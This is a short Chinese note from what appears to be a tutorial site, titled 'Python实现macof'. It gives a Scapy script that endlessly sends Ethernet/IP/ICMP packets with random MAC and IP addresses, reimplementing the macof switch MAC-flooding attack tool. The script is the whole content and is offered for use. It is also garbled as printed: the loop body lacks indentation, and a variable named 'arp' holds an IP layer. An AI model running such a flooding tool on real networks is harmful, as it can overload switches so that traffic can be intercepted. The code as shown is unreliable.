手记

Python实现macof

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

    iface=sys.argv[1]

while(1):

eth = Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))

arp = IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))

print eth.dst

packet = eth/arp/ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)


0人推荐
随时随地看视频
慕课网APP